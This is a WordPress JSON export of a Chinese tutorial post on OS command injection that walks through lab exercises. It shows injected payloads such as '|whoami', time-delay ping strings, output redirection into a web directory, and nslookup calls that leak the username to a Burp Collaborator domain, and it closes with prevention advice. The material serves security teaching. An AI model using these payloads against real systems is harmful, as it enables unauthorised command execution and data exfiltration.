{"id":5550,"date":"2024-03-10T18:01:03","date_gmt":"2024-03-10T10:01:03","guid":{"rendered":""},"modified":"2024-03-10T18:01:03","modified_gmt":"2024-03-10T10:01:03","slug":"\u4ec0\u4e48\u662f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\uff1f","status":"publish","type":"post","link":"https:\/\/mushiming.com\/5550.html","title":{"rendered":"\u4ec0\u4e48\u662f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\uff1f"},"content":{"rendered":"

\n <\/path> \n<\/svg> <\/p>\n

\u4ec0\u4e48\u662f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\uff1f<\/strong>
\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\uff08shell \u6ce8\u5165\uff09\u662f\u4e00\u79cd Web \u5b89\u5168\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u5728\u8fd0\u884c\u5e94\u7528\u7a0b\u5e8f\u7684\u670d\u52a1\u5668\u4e0a\u6267\u884c\u4efb\u610f\u64cd\u4f5c\u7cfb\u7edf \u547d\u4ee4\uff0c\u901a\u5e38\u4f1a\u5b8c\u5168\u7834\u574f\u5e94\u7528\u7a0b\u5e8f\u53ca\u5176\u6240\u6709\u6570\u636e\u3002\u5f88\u591a\u65f6\u5019\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\u6f0f\u6d1e\u6765\u7834\u574f\u6258\u7ba1\u57fa\u7840\u8bbe\u65bd\u7684\u5176\u4ed6\u90e8\u5206\uff0c\u5229\u7528\u4fe1\u4efb\u5173\u7cfb\u5c06\u653b\u51fb\u8f6c\u5411\u7ec4\u7ec7\u5185\u7684\u5176\u4ed6\u7cfb\u7edf\u3002<\/p>\n


\n

\u5b9e\u9a8c\u6f14\u793a\uff1a<\/strong><\/p>\n

\u4e00.OS\u547d\u4ee4\u6ce8\u5165\uff0c\u7b80\u5355\u6848\u4f8b<\/strong><\/em><\/h3>\n

\u4fee\u6539storeID\u53c2\u6570\uff0c\u5728\u6570\u503c\u540e\u6dfb\u52a0|whoami<\/code>\u3002
\"\u4ec0\u4e48\u662f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\uff1f
\u8fd9\u91cc\u7ed9\u51fa\u4e00\u4e9b\u5e38\u7528\u7684\u7cfb\u7edf\u547d\u4ee4\uff08Linux+window\uff09
\"\u4ec0\u4e48\u662f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\uff1f<\/p>\n

\u4e8c.\u5177\u6709\u65f6\u95f4\u5ef6\u8fdf\u7684\u76f2\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165<\/strong><\/h3>\n

\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\u7684\u8bb8\u591a\u5b9e\u4f8b\u90fd\u662f\u76f2\u6f0f\u6d1e\u3002\u610f\u5473\u7740\u5e94\u7528\u7a0b\u5e8f\u4e0d\u4f1a\u5728\u5176\u54cd\u5e94\u4e2d\u8fd4\u56de\u547d\u4ee4\u7684\u8f93\u51fa\u3002\u8fd9\u65f6\u5019\u53ef\u4ee5\u5229\u7528\u76f2\u6f0f\u6d1e\uff0c\u4f46\u9700\u8981\u4e0d\u540c\u7684\u6280\u672f\u3002
1.\u5177\u6709\u65f6\u95f4\u5ef6\u8fdf\u7684\u76f2\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165<\/strong>
\u53ef\u4ee5\u4f7f\u7528\u89e6\u53d1\u65f6\u95f4\u5ef6\u8fdf\u7684\u6ce8\u5165\u547d\u4ee4\uff0c\u5141\u8bb8\u6839\u636e\u5e94\u7528\u7a0b\u5e8f\u54cd\u5e94\u6240\u9700\u7684\u65f6\u95f4\u786e\u8ba4\u547d\u4ee4\u5df2\u6267\u884c\u3002
ping\u547d\u4ee4\uff1a\u5b83\u5141\u8bb8\u6307\u5b9a\u8981\u53d1\u9001\u7684 ICMP \u6570\u636e\u5305\u7684\u6570\u91cf\uff0c\u4ee5\u53ca\u547d\u4ee4\u8fd0\u884c\u6240\u9700\u7684\u65f6\u95f4\uff1a& ping -c 10 127.0.0.1 &<\/code>\uff08\u8be5&\u5b57\u7b26\u662f\u4e00\u4e2a shell \u547d\u4ee4\u5206\u9694\u7b26\uff09
\u5b9e\u9a8c\u6f14\u793a\u4f8b\uff1a
\u4fee\u6539email\u53c2\u6570\uff0c\u5728\u540e\u9762\u6dfb\u52a0\uff1a||ping+-c+10+127.0.0.1||<\/code>
\"\u4ec0\u4e48\u662f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\uff1f
\u8fd9\u91cc\u4f1a\u6301\u7eed\u6307\u5b9a\u7684\u65f6\u95f4\uff0c\u9875\u9762\u624d\u4f1a\u6709\u54cd\u5e94\uff0c\u7c7b\u4f3cSQL\u6ce8\u5165\u91cc\u7684\u65f6\u95f4\u76f2\u6ce8\u3002
2.\u5e26\u5916\u4ea4\u4e92\u7684\u76f2\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165<\/strong>
\u8be5\u547d\u4ee4\u662f\u5f02\u6b65\u6267\u884c\u7684\uff0c\u5bf9\u5e94\u7528\u7a0b\u5e8f\u7684\u54cd\u5e94\u6ca1\u6709\u5f71\u54cd\u3002\u65e0\u6cd5\u5c06\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\u53ef\u4ee5\u8bbf\u95ee\u7684\u4f4d\u7f6e\u3002\u4f46\u662f\u53ef\u4ee5\u89e6\u53d1\u4e0e\u5916\u90e8\u57df\u7684\u5e26\u5916\u4ea4\u4e92\u3002
\u4fee\u6539email\u53c2\u6570\uff0c\u5728\u540e\u9762\u6dfb\u52a0 \uff1a<\/p>\n

||nslookup+x.burpcollaborator.net||\n<\/code><\/pre>\n

\"\u4ec0\u4e48\u662f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\uff1f
\u6709\u6548\u8d1f\u8f7d\u4f7f\u7528nslookup\u547d\u4ee4\u5bf9\u6307\u5b9a\u57df\u8fdb\u884c DNS \u67e5\u627e\u3002\u53ef\u4ee5\u76d1\u89c6\u6307\u5b9a\u7684\u67e5\u627e\u53d1\u751f\uff0c\u4ece\u800c\u68c0\u6d4b\u5230\u547d\u4ee4\u88ab\u6210\u529f\u6ce8\u5165\u3002
3.\u901a\u8fc7\u91cd\u5b9a\u5411\u8f93\u51fa\u6765\u5229\u7528\u76f2\u76ee\u7684\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165<\/strong>
\u53ef\u4ee5\u5c06\u6ce8\u5165\u547d\u4ee4\u7684\u8f93\u51fa\u91cd\u5b9a\u5411\u5230 Web \u6839\u76ee\u5f55\u4e2d\u7684\u6587\u4ef6\uff0c\u7136\u540e\u4f7f\u7528\u6d4f\u89c8\u5668\u68c0\u7d22\u8be5\u6587\u4ef6\u3002
\u4f8b\u5982\uff0c\u5982\u679c\u5e94\u7528\u7a0b\u5e8f\u4ece\u6587\u4ef6\u7cfb\u7edf\u4f4d\u7f6e\u63d0\u4f9b\u9759\u6001\u8d44\u6e90\/var\/www\/static\uff0c\u90a3\u4e48\u60a8\u53ef\u4ee5\u63d0\u4ea4\u4ee5\u4e0b\u8f93\u5165\uff1a& whoami > \/var\/www\/static\/whoami.txt &<\/code>
\u8be5>\u5b57\u7b26\u5c06whoami\u547d\u4ee4\u7684\u8f93\u51fa\u53d1\u9001\u5230\u6307\u5b9a\u7684\u6587\u4ef6\u3002\u7136\u540e\u4f7f\u7528\u6d4f\u89c8\u5668\u83b7\u53d6https:\/\/vulnerable-website.com\/whoami.txt\u68c0\u7d22\u6587\u4ef6\u67e5\u770b\u6ce8\u5165\u547d\u4ee4\u7684\u8f93\u51fa\u3002
\u5b9e\u9a8c\u6f14\u793a\u4f8b\uff1a
\uff081.\uff09\u63d0\u4ea4\u53cd\u9988\uff0c\u4f7f\u7528 Burp \u62e6\u622a\u4fee\u6539email\u53c2\u6570\u5e76\u53d1\u9001\uff0c\u5c06\u5176\u66f4\u6539\u4e3a\uff1a<\/p>\n

email=||whoami>\/var\/www\/images\/output.txt||\n<\/code><\/pre>\n

\"\u4ec0\u4e48\u662f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\uff1f
\uff082.\uff09\u5728\u4f7f\u7528 Burp \u62e6\u622a\u548c\u4fee\u6539\u52a0\u8f7d\u4ea7\u54c1\u56fe\u50cf\u7684\u8bf7\u6c42\u3002\u4fee\u6539filename\u53c2\u6570\u4e3a\uff1afilename=output.txt<\/code>
\"\u4ec0\u4e48\u662f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\uff1f
4.\u5e26\u5916\u6570\u636e\u6cc4\u9732\u7684\u76f2\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165<\/strong>
\u8be5\u547d\u4ee4\u662f\u5f02\u6b65\u6267\u884c\u7684\uff0c\u5bf9\u5e94\u7528\u7a0b\u5e8f\u7684\u54cd\u5e94\u6ca1\u6709\u5f71\u54cd\u3002\u65e0\u6cd5\u5c06\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\u53ef\u4ee5\u8bbf\u95ee\u7684\u4f4d\u7f6e\u3002\u4f46\u662f\u53ef\u4ee5\u89e6\u53d1\u4e0e\u5916\u90e8\u57df\u7684\u5e26\u5916\u4ea4\u4e92\u3002
\uff081\uff09\u63d0\u4ea4\u53cd\u9988\uff0c\u4f7f\u7528Burp\u8fdb\u884c\u62e6\u622a\u53d1\u9001\u5230\u201c\u91cd\u53d1\u5668\u201d
\"\u4ec0\u4e48\u662f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\uff1f
\uff082\uff09\u6253\u5f00 Burp Collaborator \u5ba2\u6237\u7aef\uff0c\u901a\u8fc7\u201c\u590d\u5236\u5230\u526a\u8d34\u677f\u201d\u5c06\u6709\u6548\u8d1f\u8f7d\u590d\u5236\u5230\u526a\u8d34\u677f\u3002\u4fdd\u6301 Burp Collaborator \u5ba2\u6237\u7aef\u7a97\u53e3\u6253\u5f00\u72b6\u6001\u3002
\"\u4ec0\u4e48\u662f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\uff1f
\uff083\uff09\u4fee\u6539email\u53c2\u6570<\/p>\n

email=||nslookup+`whoami`.Burp Collaborator \u5ba2\u6237\u7aef\u6709\u6548\u8d1f\u8f7d||\n<\/code><\/pre>\n

\u56de\u5230Burp Collaborator \u5ba2\u6237\u7aef\uff0c\u70b9\u51fb\u8f6e\u8be2\uff0c\u67e5\u770b\u663e\u793a\u7684\u5f53\u524d\u7528\u6237\u540d\uff0c\u63d0\u4ea4\uff0c\u5b9e\u9a8c\u5b8c\u6210\u3002
\"\u4ec0\u4e48\u662f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\uff1f
\"\u4ec0\u4e48\u662f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\uff1f<\/p>\n


\n

\u6ce8\u5165\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u7684\u65b9\u6cd5<\/strong><\/h3>\n

\u591a\u79cd shell \u5143\u5b57\u7b26\u53ef\u7528\u4e8e\u6267\u884c OS \u547d\u4ee4\u6ce8\u5165\u653b\u51fb\u3002
\u8bb8\u591a\u5b57\u7b26\u5145\u5f53\u547d\u4ee4\u5206\u9694\u7b26\uff0c\u5141\u8bb8\u5c06\u547d\u4ee4\u94fe\u63a5\u5728\u4e00\u8d77\u3002\u4ee5\u4e0b\u547d\u4ee4\u5206\u9694\u7b26\u9002\u7528\u4e8e Windows \u548c\u57fa\u4e8e Unix \u7684\u7cfb\u7edf\uff1a<\/p>\n

&\uff0c&&\uff0c|\uff0c||\n<\/code><\/pre>\n

\u4ee5\u4e0b\u547d\u4ee4\u5206\u9694\u7b26\u4ec5\u9002\u7528\u4e8e\u57fa\u4e8e Unix \u7684\u7cfb\u7edf\uff1a<\/p>\n

;\uff0c\u6362\u884c\u7b26\uff080x0a\u6216\\n\uff09\n<\/code><\/pre>\n

\u4e0d\u540c\u7684 shell \u5143\u5b57\u7b26\u5177\u6709\u7ec6\u5fae\u7684\u4e0d\u540c\u884c\u4e3a\uff0c\u8fd9\u4e9b\u884c\u4e3a\u53ef\u80fd\u4f1a\u5f71\u54cd\u5b83\u4eec\u662f\u5426\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\u5de5\u4f5c\uff0c\u4ee5\u53ca\u5b83\u4eec\u662f\u5426\u5141\u8bb8\u5e26\u5185\u68c0\u7d22\u547d\u4ee4\u8f93\u51fa\u6216\u4ec5\u5bf9\u76f2\u76ee\u5229\u7528\u6709\u7528\u3002<\/p>\n

\u5982\u4f55\u9632\u6b62\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\u653b\u51fb<\/strong><\/strong><\/h3>\n

\u9632\u6b62\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\u6f0f\u6d1e\u7684\u6700\u6709\u6548\u65b9\u6cd5\u662f\u6c38\u8fdc\u4e0d\u8981\u4ece\u5e94\u7528\u5c42\u4ee3\u7801\u8c03\u7528\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u3002\u51e0\u4e4e\u5728\u6bcf\u79cd\u60c5\u51b5\u4e0b\uff0c\u90fd\u5b58\u5728\u4f7f\u7528\u66f4\u5b89\u5168\u7684\u5e73\u53f0 API \u5b9e\u73b0\u6240\u9700\u529f\u80fd\u7684\u66ff\u4ee3\u65b9\u6cd5\u3002
\u5982\u679c\u8ba4\u4e3a\u4f7f\u7528\u7528\u6237\u63d0\u4f9b\u7684\u8f93\u5165\u8c03\u7528\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u662f\u4e0d\u53ef\u907f\u514d\u7684\uff0c\u5219\u5fc5\u987b\u6267\u884c\u5f3a\u8f93\u5165\u9a8c\u8bc1\u3002\u6709\u6548\u9a8c\u8bc1\u7684\u4e00\u4e9b\u793a\u4f8b\u5305\u62ec\uff1a<\/p>\n

    \n
  • \u6839\u636e\u5141\u8bb8\u503c\u7684\u767d\u540d\u5355\u8fdb\u884c\u9a8c\u8bc1\u3002<\/li>\n
  • \u9a8c\u8bc1\u8f93\u5165\u662f\u5426\u4e3a\u6570\u5b57\u3002<\/li>\n
  • \u9a8c\u8bc1\u8f93\u5165\u4ec5\u5305\u542b\u5b57\u6bcd\u6570\u5b57\u5b57\u7b26\uff0c\u4e0d\u5305\u542b\u5176\u4ed6\u8bed\u6cd5\u6216\u7a7a\u683c\u3002<\/li>\n<\/ul>\n

    \u6c38\u8fdc\u4e0d\u8981\u8bd5\u56fe\u901a\u8fc7\u8f6c\u4e49 shell \u5143\u5b57\u7b26\u6765\u6e05\u7406\u8f93\u5165\u3002\u5728\u5b9e\u8df5\u4e2d\uff0c\u8fd9\u592a\u5bb9\u6613\u51fa\u9519\u5e76\u4e14\u5bb9\u6613\u88ab\u719f\u7ec3\u7684\u653b\u51fb\u8005\u7ed5\u8fc7\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"\u4ec0\u4e48\u662f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\uff1f\u4ec0\u4e48\u662f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\uff1f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6ce8\u5165\uff08shell\u6ce8\u5165\uff09\u662f\u4e00\u79cdWeb\u5b89\u5168\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u5728\u8fd0\u884c\u5e94\u7528\u7a0b\u5e8f...","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"_links":{"self":[{"href":"https:\/\/mushiming.com\/wp-json\/wp\/v2\/posts\/5550"}],"collection":[{"href":"https:\/\/mushiming.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mushiming.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mushiming.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mushiming.com\/wp-json\/wp\/v2\/comments?post=5550"}],"version-history":[{"count":0,"href":"https:\/\/mushiming.com\/wp-json\/wp\/v2\/posts\/5550\/revisions"}],"wp:attachment":[{"href":"https:\/\/mushiming.com\/wp-json\/wp\/v2\/media?parent=5550"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mushiming.com\/wp-json\/wp\/v2\/categories?post=5550"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mushiming.com\/wp-json\/wp\/v2\/tags?post=5550"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}